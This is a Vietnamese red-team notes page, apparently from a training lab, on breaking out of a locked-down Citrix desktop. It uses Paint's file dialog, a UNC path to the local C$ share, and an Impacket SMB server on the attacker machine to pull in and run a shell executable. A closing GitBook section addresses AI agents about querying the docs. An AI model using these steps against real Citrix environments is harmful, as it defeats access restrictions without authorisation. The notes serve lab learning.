> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/citrix-breakout.md).

# Citrix Breakout

Citrix là một nền tảng **virtual application / virtual desktop** cho phép người dùng truy cập ứng dụng hoặc máy tính từ xa mà không cần cài trực tiếp trên máy của họ.

Và nó như 1 cái VM đã bị khoá rất nhiều quyền. Vậy thì chúng ta cần breakout ra khỏi môi trường citrix.

## Bypass Path Restrictions

Đầu tiên cần mở **Dialog Box** lên&#x20;

<figure><img src="/files/x4XBzGP7tyHETbSUmB1d" alt=""><figcaption></figcaption></figure>

Ưu tiên Paint, sau đó vô Open file và chọn all file và dùng đường dẫn này để list dir, bypass path Restrictions

```
\\127.0.0.1\c$\users\pmorgan
```

<figure><img src="/files/0YLSlZnmzWkuVriMbeKI" alt=""><figcaption></figcaption></figure>

Accessing SMB share from restricted environment

Kéo tool từ máy attacker vào (máy linux đã rdp trong pwnbox)

```
root@ubuntu:/home/htb-student/Tools# smbserver.py -smb2support share $(pwd)

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

```

Chall dùng&#x20;

```
sudo /home/htb-student/.local/bin/smbserver.py -smb2support share $(pwd)
```

Sau đó truy cập bằng dialog box ( Dùng ip ens192 )

<pre><code><strong>\\10.13.38.95\share
</strong></code></pre>

Sau đó open file exe chạy shell đã được share qua.

<figure><img src="/files/8mKm2iqFRmgv9GkbObtJ" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/citrix-breakout.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
